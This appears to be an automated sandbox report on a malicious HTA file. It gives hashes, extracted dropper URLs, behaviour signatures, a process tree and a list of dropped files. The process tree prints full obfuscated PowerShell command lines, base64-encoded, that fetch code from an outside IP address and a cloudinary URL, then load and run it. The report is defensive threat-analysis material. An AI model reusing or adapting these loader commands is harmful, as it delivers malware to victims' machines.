Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    17-12-2024 06:21

General

  • Target

    sweetnesswithgreatnessiwthbestthingswithmebackickmegreatthings.hta

  • Size

    144KB

  • MD5

    920910732ff13da38fab9224e65041d6

  • SHA1

    844226d370dc471fa282eaad9e8dabaf59963902

  • SHA256

    7467651082b81c0e0ac5c64b4821fcd49070b5d15c88e1a716f948bdac88b544

  • SHA512

    1efe02ba682bd628bacebebe8f283276c1ebc6db3bcc3956c59b840d3677d94a6ca18f95182daf8a5d1587a830b2a2cc69d6a9c31a2672c29f8aa294e19cebf7

  • SSDEEP

    768:t1EQuPoGCMum2oum2H5KUJDVUKhCoGVf/Atu360KuBxvmm0wYWzP9k4/k4/k4/kk:tG

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://res.cloudinary.com/dzvai86uh/image/upload/v1734050991/unxaooiykxfmw9pan4z1.jpg%20

exe.dropper

https://res.cloudinary.com/dzvai86uh/image/upload/v1734050991/unxaooiykxfmw9pan4z1.jpg%20

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Evasion via Device Credential Deployment 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\sweetnesswithgreatnessiwthbestthingswithmebackickmegreatthings.hta"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:2084
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" "/C pOwErSheLl -eX UNrEsTRiCTeD -nop -w 1 -c dEVicecReDENTiAlDePLoymENt ; iNvOkE-exPRESSion($(inVOke-eXpResSIOn('[sYSTeM.tEXt.ENcodInG]'+[cHar]58+[CHAr]58+'UTf8.gEtsTrInG([sYstem.cOnvErt]'+[chAR]0x3a+[cHAR]58+'fRomBASe64sTRiNG('+[chaR]34+'JEU2UjVuZzltV0sgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBREQtdHlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVNQmVyZEVGSU5JdElvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidVJMbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBTVWNYSWF1bmJwLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3VCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd2VibUNiUm9qWnksdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBYVXRRSUt0TXdsLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBOaFpXcnNRcSk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAielRXUFRRV3oiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYU1lU3BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUk1SYmloTWttdCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRFNlI1bmc5bVdLOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMjMuOTUuMjM1LjI5LzQzOS93ZWFyZXVzaW5nZ29vZGNvbXBhbmllc2ZvcmdpZml0aW5nYmVzdGhpbmdzZm9ybWV0b2dldC50SUYiLCIkZU52OkFQUERBVEFcd2VhcmV1c2luZ2dvb2Rjb21wYW5pZXNmb3JnaWZpdGluZ2Jlc3RoaW5ncy52YlMiLDAsMCk7U3RhUnQtU2xlZXAoMyk7SU52T0tlLWV4UFJFc1NpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTlY6QVBQREFUQVx3ZWFyZXVzaW5nZ29vZGNvbXBhbmllc2ZvcmdpZml0aW5nYmVzdGhpbmdzLnZiUyI='+[CHar]34+'))')))"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2500
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        pOwErSheLl -eX UNrEsTRiCTeD -nop -w 1 -c dEVicecReDENTiAlDePLoymENt ; iNvOkE-exPRESSion($(inVOke-eXpResSIOn('[sYSTeM.tEXt.ENcodInG]'+[cHar]58+[CHAr]58+'UTf8.gEtsTrInG([sYstem.cOnvErt]'+[chAR]0x3a+[cHAR]58+'fRomBASe64sTRiNG('+[chaR]34+'JEU2UjVuZzltV0sgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBREQtdHlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVNQmVyZEVGSU5JdElvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidVJMbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBTVWNYSWF1bmJwLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3VCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd2VibUNiUm9qWnksdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBYVXRRSUt0TXdsLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBOaFpXcnNRcSk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAielRXUFRRV3oiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYU1lU3BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUk1SYmloTWttdCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRFNlI1bmc5bVdLOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMjMuOTUuMjM1LjI5LzQzOS93ZWFyZXVzaW5nZ29vZGNvbXBhbmllc2ZvcmdpZml0aW5nYmVzdGhpbmdzZm9ybWV0b2dldC50SUYiLCIkZU52OkFQUERBVEFcd2VhcmV1c2luZ2dvb2Rjb21wYW5pZXNmb3JnaWZpdGluZ2Jlc3RoaW5ncy52YlMiLDAsMCk7U3RhUnQtU2xlZXAoMyk7SU52T0tlLWV4UFJFc1NpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTlY6QVBQREFUQVx3ZWFyZXVzaW5nZ29vZGNvbXBhbmllc2ZvcmdpZml0aW5nYmVzdGhpbmdzLnZiUyI='+[CHar]34+'))')))"
        3⤵
        • Blocklisted process makes network request
        • Evasion via Device Credential Deployment
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1712
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
          "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ufkolwnn.cmdline"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2640
          • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
            C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE1C8.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCE1C7.tmp"
            5⤵
            • System Location Discovery: System Language Discovery
            PID:2808
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\weareusinggoodcompaniesforgifitingbesthings.vbS"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:1268
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $antimagistrical = 'JGVmZm9ydGxlc3MgPSAnaHR0cHM6Ly9yZXMuY2xvdWRpbmFyeS5jb20vZHp2YWk4NnVoL2ltYWdlL3VwbG9hZC92MTczNDA1MDk5MS91bnhhb29peWt4Zm13OXBhbjR6MS5qcGcgJzskY2FyZGlnYW5zID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDskc3BoYWNlbGlhID0gJGNhcmRpZ2Fucy5Eb3dubG9hZERhdGEoJGVmZm9ydGxlc3MpOyRjb3NtZWEgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkc3BoYWNlbGlhKTskZG9vbXNheWVycyA9ICc8PEJBU0U2NF9TVEFSVD4+JzskcmVzdGFnbmF0aW9uID0gJzw8QkFTRTY0X0VORD4+JzskS2FzaHViaWFuID0gJGNvc21lYS5JbmRleE9mKCRkb29tc2F5ZXJzKTskxZNjb25vbXVzID0gJGNvc21lYS5JbmRleE9mKCRyZXN0YWduYXRpb24pOyRLYXNodWJpYW4gLWdlIDAgLWFuZCAkxZNjb25vbXVzIC1ndCAkS2FzaHViaWFuOyRLYXNodWJpYW4gKz0gJGRvb21zYXllcnMuTGVuZ3RoOyRvdmVybW9kdWxhdGVkID0gJMWTY29ub211cyAtICRLYXNodWJpYW47JHJlZnJpZ2VyYXRvcnkgPSAkY29zbWVhLlN1YnN0cmluZygkS2FzaHViaWFuLCAkb3Zlcm1vZHVsYXRlZCk7JHVuYW5jaG9yZWQgPSAtam9pbiAoJHJlZnJpZ2VyYXRvcnkuVG9DaGFyQXJyYXkoKSB8IEZvckVhY2gtT2JqZWN0IHsgJF8gfSlbLTEuLi0oJHJlZnJpZ2VyYXRvcnkuTGVuZ3RoKV07JHNwaXJpbGx1bXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCR1bmFuY2hvcmVkKTskeHlsb2xpdGUgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRzcGlyaWxsdW1zKTskcGhvc3BoYXRpemVzID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZCgnVkFJJyk7JHBob3NwaGF0aXplcy5JbnZva2UoJG51bGwsIEAoJzAvd21NdEgvci9lZS5ldHNhcC8vOnNwdHRoJywgJyRjZWRhcnMnLCAnJGNlZGFycycsICckY2VkYXJzJywgJ0Nhc1BvbCcsICckY2VkYXJzJywgJyRjZWRhcnMnLCckY2VkYXJzJywnJGNlZGFycycsJyRjZWRhcnMnLCckY2VkYXJzJywnJGNlZGFycycsJzEnLCckY2VkYXJzJywnJykpOw==';$periblem = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($antimagistrical));Invoke-Expression $periblem
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2596

Network

MITRE ATT&CK Enterprise v15

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\CabFE6D.tmp

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • C:\Users\Admin\AppData\Local\Temp\RESE1C8.tmp

    Filesize

    1KB

    MD5

    1b3fd2bd0d125bd71b3cdb6a7b5682cf

    SHA1

    27ab93692b869194758614aa7a90186622759298

    SHA256

    a89c6bc3e742c732ec2012c964c9c3393fd49996444fa7b7e2550d9b5d67105a

    SHA512

    b1ef2e6041a9bdfa99f2eaf6f5ee936b5789f3efc76adfce4c5220dbb8ff1d88e4ffbd2c5e27c9c14d33eb8272d00bc6c9678fe5c54c9edc71c727600ed06553

  • C:\Users\Admin\AppData\Local\Temp\TarFE80.tmp

    Filesize

    181KB

    MD5

    4ea6026cf93ec6338144661bf1202cd1

    SHA1

    a1dec9044f750ad887935a01430bf49322fbdcb7

    SHA256

    8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

    SHA512

    6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

  • C:\Users\Admin\AppData\Local\Temp\ufkolwnn.dll

    Filesize

    3KB

    MD5

    cd7fed3961e8bbf8b6f3aa8a2b069d08

    SHA1

    462fa67567f7218f0b57c83fde4677dd00684ab6

    SHA256

    2389a5f11e13e228e5d12b82fa545cc51f1238febca60af34b9bf3f0b0451a79

    SHA512

    fdc00a724057e9bec141d228f984f969d200d2b61673eac1fff87f491f8fdabac7201094019b3c8b3f4cbd6dbf80200a31e29a303868336036540afcc18f021a

  • C:\Users\Admin\AppData\Local\Temp\ufkolwnn.pdb

    Filesize

    7KB

    MD5

    6e89e0bd47ad1937946c68baf01c64ed

    SHA1

    486ebba03af384acf2843a2488ccfc3e0650dca5

    SHA256

    8dec6364f6650bfe444151c9810547a7162b1a78069190e5d14174ac483c54a7

    SHA512

    9517bb03e22af62217c85d93a3131c8386dea3ad4868789505b67f91ce7d73fb4854b3b1189c34d270b8748c0287cd60015d9616984e4cc285783f9c038a74e7

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\RLI2R31BZJT1IYF3CMO9.temp

    Filesize

    7KB

    MD5

    aed7751a3ed619e0fd2618e5f70aa969

    SHA1

    c53894a3000aaad4c576a2f9fea52f0e68dc81aa

    SHA256

    e057508a6f362c7ae28deec51d25c4ffe2518fa9ece7985d20386b964a0c019d

    SHA512

    6a608f06cfbcb1cd7667ca19941092c73e942ded7a0e6adccb65420a870b643d80d06f3d54961e416f69d0fc89158719d69a4b123dc848f670718f41c26bbd8d

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    bc15e026265c7fdfa0be850aa6fbfb17

    SHA1

    0166c1ed7ce2080b2ee954ef9b86302dd61de6e9

    SHA256

    a41e51f384a74ff8b5051f01a10ab58c00ff441f84113e4b850d714daf1be396

    SHA512

    29adcb799f29e6a1e9ed807307ad83311910fc63f67c0834a0cddea8c57b93e3f30620d53328597befb20d7188d54a5c1695a9411d4760dca06ff2c42e5d94bd

  • C:\Users\Admin\AppData\Roaming\weareusinggoodcompaniesforgifitingbesthings.vbS

    Filesize

    150KB

    MD5

    622118455f9b3d92190edecb9f5a70e4

    SHA1

    ec47a3f75a1a3e197a2745f75015160da5190d76

    SHA256

    d9b6d65cd5e6206ccb41a4d12a0a1cf8d55de31d786cf085d9632e5eaf66914a

    SHA512

    3af7582cd5b8e7ddd5c23f5477fa3f595fdb851e0b7faf51f167c716b0a50ca4cc6af824b8409ca5745ccc72bc56bbfe201c3b6a7630f04a6e2e84ee248bcf91

  • \??\c:\Users\Admin\AppData\Local\Temp\CSCE1C7.tmp

    Filesize

    652B

    MD5

    fa72efc6e0af3c3d791c1f4afa10bdda

    SHA1

    c69ae393244363e82cb1e6566218e58815fbfc7f

    SHA256

    f77cf968e9b9c6ec1b482800c988aecd199969a3ec20bf45cd1c4bc88bf80daa

    SHA512

    5956587ee51bf3f972643b613734dbbce84096aa9cb55daf070a025b1b6d3eaa50ef1c6a2c2e03b4fb2ed0a5c6c67c3bd9b8a4e304f66181df0c5a5530a12d06

  • \??\c:\Users\Admin\AppData\Local\Temp\ufkolwnn.0.cs

    Filesize

    498B

    MD5

    dcfc222ae4a88432f5653314f96c284c

    SHA1

    f38c92dfe6c331d9eede174861c22b5cb24d1236

    SHA256

    65b8df15d3df5605ff17738e203c4ad07a534be67bbb493d36a5ef1cbff2733e

    SHA512

    75d2ace08f5908213cf61ccc5c378871d0b5ce47e98221e8c49f4f758216ae0a606799064011011d713c0187c2722700f808fe5138a0cd4320870251c70ecaf7

  • \??\c:\Users\Admin\AppData\Local\Temp\ufkolwnn.cmdline

    Filesize

    309B

    MD5

    692c671fd8a5883ee9f3030aadf5c7d5

    SHA1

    6234ac67b073180b197381cfb3be0e3bba5e5531

    SHA256

    57314876e04d5cf2a2f78dd61644c880bf7bbe5accf571ff9810ba2e8cfd0c61

    SHA512

    9874cc0a3d8830eb0a741d8ead39f25806a8e95ffa16d28db753632cf731aac51a33edd2a3673ef03af38c6874141a29012b7d465ab19c652db43b627cfda4f4